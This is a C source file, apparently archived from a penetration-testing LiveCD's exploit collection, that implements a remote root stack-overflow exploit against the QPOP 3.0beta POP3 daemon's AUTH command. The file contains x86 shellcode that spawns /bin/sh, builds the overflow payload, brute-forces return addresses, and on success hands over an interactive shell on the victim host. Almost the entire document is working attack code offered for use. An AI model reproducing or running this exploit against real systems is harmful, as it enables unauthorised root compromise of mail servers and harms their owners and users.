home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pop3 / qpop3b.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  7.5 KB  |  328 lines
  1. /*
  2.  *  THIS IS PRIVATE CODE. DO NOT DISTRIBUTE.
  3.  *
  4.  *  QPOP 3.0beta AUTH remote root stack overflow (linux x86 version)
  5.  *
  6.  *  Compilation:
  7.  *    gcc -o qpop3b qpop3b.c
  8.  *  
  9.  *  Usage: 
  10.  *    qpop3b host.to.own.com [src_prt]
  11.  *  
  12.  *  Automated brute-forcing code. No offset argument required.
  13.  *
  14.  */
  15.  
  16. #include <stdio.h>
  17. #include <stdlib.h>
  18. #include <unistd.h>
  19. #include <fcntl.h>
  20. #include <signal.h>
  21. #include <string.h>
  22. #include <sys/types.h>
  23. #include <sys/socket.h>
  24. #include <sys/time.h>
  25. #include <netinet/in.h>
  26. #include <arpa/inet.h>
  27. #include <netdb.h>
  28.  
  29. #define BASE_ADDR                0xbfffd150
  30. #define MAX_OFFSET               11951
  31. #define STEP                     500
  32. #define DST_PRT                  110
  33. #define DELAY                    0x05
  34. #define INIT_RET                 846
  35. #define NUM_RETS                 0x22
  36. #define EXTRA                    200
  37. #define RET_DIFF                 149
  38. /*
  39.  *  Not completely accurate, but one assumes the user has sufficient
  40.  *  clues not to run this against a patched daemon.
  41.  */
  42. #define IDENT_STRING             "version 3.0b"
  43.  
  44. char c0de[] = 
  45. /*
  46.  *  The shellcode must be from a slightly restricted charset.
  47.  */
  48. /* main: */
  49. "\xeb\x1b"                                   /* jmp callz                  */
  50. /* start: */
  51. "\x5e"                                       /* popl %esi                  */
  52. "\x89\xf3"                                   /* movl %esi, %ebx            */
  53. "\x89\xf7"                                   /* movl %esi, %edi            */
  54. "\x83\xc7\x07"                               /* addl $0x07, %edi           */
  55. "\x29\xc0"                                   /* subl %eax, %eax            */
  56. "\xaa"                                       /* stosb %al, %es:(%edi)      */
  57. "\x89\xf9"                                   /* movl %edi, %ecx            */
  58. "\x89\xf0"                                   /* movl %esi, %eax            */
  59. "\xab"                                       /* stosl %eax, %es:(%edi)     */
  60. "\x89\xfa"                                   /* movl %edi, %edx            */
  61. "\x29\xc0"                                   /* subl %eax, %eax            */
  62. "\xab"                                       /* stosl %eax, %es:(%edi)     */
  63. "\xb0\x08"                                   /* movb $0x08, %al            */
  64. "\x04\x03"                                   /* addb $0x03, %al            */
  65. "\xcd\x80"                                   /* int $0x80                  */
  66. /* callz: */
  67. "\xe8\xe0\xff\xff\xff"                       /* call start                 */
  68. /* DATA */
  69. "/bin/sh";
  70.  
  71. u_long
  72. resolve_host(u_char *host)
  73. {
  74.     struct in_addr addr;
  75.     struct hostent *host_ent;
  76.     
  77.     if ((addr.s_addr = inet_addr(host)) == -1)
  78.     {
  79.     host_ent = gethostbyname(host);
  80.     if (!host_ent) return((u_long)0);
  81.     memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
  82.     }
  83.     
  84.     return(addr.s_addr);
  85. }
  86.  
  87. void
  88. connect_shell(int sock)
  89. {
  90.     u_char buf[8192] = {0};
  91.     fd_set fds;
  92.     
  93.     write(sock, "id; uname -a; cd /;\n", 20);
  94.     
  95.     for (;;)
  96.     {
  97.     FD_ZERO(&fds);
  98.     FD_SET(0, &fds);
  99.     FD_SET(sock, &fds);
  100.     
  101.     if (select(0xff, &fds, NULL, NULL, NULL) == -1)
  102.     {
  103.         perror("select choked");
  104.         exit(-1);
  105.     }
  106.     
  107.     memset(buf, 0, sizeof(buf));
  108.     
  109.     if (FD_ISSET(sock, &fds))
  110.     {
  111.         if (recv(sock, buf, sizeof(buf) - 1, 0) == -1)
  112.         {
  113.         fprintf(stderr, "Connection closed by foreign host.\n");
  114.         exit(0);
  115.         }
  116.         
  117.         fprintf(stderr, "%s", buf);
  118.     }
  119.     
  120.     if (FD_ISSET(0, &fds))
  121.     {
  122.         read(0, buf, sizeof(buf));
  123.         write(sock, buf, strlen(buf));
  124.     }
  125.     }
  126.     
  127.     /* NOTREACHED */
  128. }
  129.  
  130. void
  131. check_exploit(int sock)
  132. {
  133.     struct timeval time_val;
  134.     u_char tmp[4096] = {0};
  135.     fd_set fds; u_int flag;
  136.     
  137.     if ((flag = fcntl(sock, F_GETFL, NULL)) == -1)
  138.     {
  139.     perror("fcntl F_GETFL");
  140.     exit(-1);
  141.     }
  142.     
  143.     flag |= O_NONBLOCK;
  144.     
  145.     if (fcntl(sock, F_SETFL, flag) == -1)
  146.     {
  147.     perror("fcntl F_SETFL");
  148.     exit(-1);
  149.     }
  150.     
  151.     time_val.tv_usec   = 0;
  152.     time_val.tv_sec    = 15;
  153.     
  154.     FD_ZERO(&fds);
  155.     FD_SET(sock, &fds);
  156.     
  157.     write(sock, "\nid;\n", 5);
  158.     if ((select(sock + 1, &fds, NULL, NULL, &time_val)) == -1)
  159.     {
  160.     perror("select choked");
  161.     exit(-1);
  162.     }
  163.     
  164.     recv(sock, tmp, sizeof(tmp) - 1, 0); 
  165.     if (!strstr(tmp, "uid="))
  166.     {
  167.     fprintf(stderr, "unsuccessful.\n");
  168.     return;
  169.     }
  170.     
  171.     fprintf(stderr, "successful.\n\nb00m\n\n");
  172.     
  173.     flag  = fcntl(sock, F_GETFL, NULL);
  174.     flag ^= O_NONBLOCK;
  175.     fcntl(sock, F_SETFL, flag);
  176.     
  177.     connect_shell(sock);
  178.     /* NOTREACHED */
  179. }
  180.  
  181. u_char *
  182. overflow_buf(u_int offset)
  183. {
  184.     u_char buf[4096] = {0};
  185.     u_long addr = BASE_ADDR + offset;
  186.     int ret = 0, i = 0;
  187.     
  188.     memcpy(buf, "AUTH ", 5);
  189.     ret = INIT_RET + RET_DIFF;
  190.     
  191.     memset(buf + 5, 0x90, sizeof(buf) - 5);
  192.     memcpy(buf + ret - EXTRA - strlen(c0de), c0de, strlen(c0de));
  193.     
  194.     ret -= RET_DIFF;
  195.     for (i = 0; i < NUM_RETS; i++)
  196.     {
  197.     buf[ret++] = (addr & 0x000000ff);
  198.     buf[ret++] = (addr & 0x0000ff00) >> 8;
  199.     buf[ret++] = (addr & 0x00ff0000) >> 16;
  200.     buf[ret++] = (addr & 0xff000000) >> 24;
  201.     }
  202.     
  203.     ret += (-(sizeof(u_long) * NUM_RETS)) + RET_DIFF - sizeof(u_long) - 1;
  204.     
  205.     buf[ret--] = 0x00;
  206.     buf[ret--] = 0x0a;
  207.     buf[ret--] = 0x0a;
  208.     
  209.     return(strdup(buf));
  210. }
  211.  
  212. void
  213. exploit(u_long dst_ip, u_short src_prt, u_int offset)
  214. {
  215.     struct sockaddr_in sin;
  216.     u_char buf[8192] = {0};
  217.     u_char rcv[8192] = {0};
  218.     int sock, one = 1, *o_pt = &one;
  219.     
  220.     fprintf(stderr, "[exploit] : [0x%lx] : ", BASE_ADDR + offset);
  221.     
  222.     sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  223.     if (sock == -1)
  224.     {
  225.     perror("socket allocation");
  226.     exit(-1);
  227.     }
  228.     
  229.     if (src_prt)
  230.     {
  231.     struct sockaddr_in min;
  232.     
  233.     if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, o_pt, sizeof(one)) == -1)
  234.     {
  235.         perror("setsockopt SO_REUSEADDR");
  236.         exit(-1);
  237.     }
  238.     
  239.     min.sin_family = AF_INET;
  240.     min.sin_port   = htons(src_prt);
  241.     min.sin_addr.s_addr = INADDR_ANY;
  242.     
  243.     if (bind(sock, (struct sockaddr *)&min, sizeof(struct sockaddr)) == -1)
  244.     {
  245.         perror("bind to local port");
  246.         exit(-1);
  247.     }
  248.     }
  249.     
  250.     sin.sin_family = AF_INET;
  251.     sin.sin_port   = htons(DST_PRT);
  252.     sin.sin_addr.s_addr = dst_ip;
  253.     
  254.     if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
  255.     {
  256.     perror("connecting to pop daemon");
  257.     exit(-1);
  258.     }
  259.     
  260.     if (recv(sock, rcv, sizeof(rcv) - 1, 0) == -1)
  261.     {
  262.     fprintf(stderr, "Connection closed by foreign host.\n");
  263.     exit(0);
  264.     }
  265.     
  266.     if (!strstr(rcv, IDENT_STRING))
  267.     {
  268.     fprintf(stderr, "POP daemon not vulnerable to the AUTH overflow.\n");
  269.     exit(0);
  270.     }
  271.     
  272.     strncpy(buf, overflow_buf(offset), sizeof(buf) - 1);
  273.     
  274.     if (write(sock, buf, strlen(buf)) != strlen(buf))
  275.     {
  276.     fprintf(stderr, "exploit(): truncated write()\n");
  277.     exit(0);
  278.     }
  279.  
  280.     recv(sock, rcv, sizeof(rcv) - 1, 0);
  281.     
  282.     sleep(DELAY);
  283.     check_exploit(sock);
  284.     
  285.     close(sock);
  286. }
  287.  
  288. void
  289. usage(u_char *nomenclature)
  290. {
  291.     fprintf(stderr, "usage:\t%s dst_host|ip\n", nomenclature);
  292.     exit(0);
  293. }
  294.  
  295. int
  296. main(int argc, char **argv)
  297. {
  298.     u_long dst_ip = 0;
  299.     u_short src_prt = 0;
  300.     u_int i = 0;
  301.     
  302.     fprintf(stderr, "\nQPOP 3.0b AUTH overflow (linux x86)\n\n");
  303.     
  304.     if (argc != 2 && argc != 3)
  305.     {
  306.     usage(argv[0]);
  307.     /* NOTREACHED */
  308.     }
  309.     
  310.     signal(SIGPIPE, SIG_IGN);
  311.     dst_ip  = resolve_host(argv[1]);
  312.     if (!dst_ip)
  313.     {
  314.     fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
  315.     exit(-1);
  316.     }
  317.     
  318.     if (argc == 3) src_prt = (u_short)atoi(argv[2]);
  319.     
  320.     for (i = 0; i < MAX_OFFSET; i += STEP)
  321.     {
  322.     exploit(dst_ip, src_prt, i);
  323.     }
  324.     
  325.     fprintf(stderr, "\nExploitation unsuccessful.\n");
  326.     exit(0);
  327. }
  328. /*                   www.hack.co.za   [25 September 2000]*/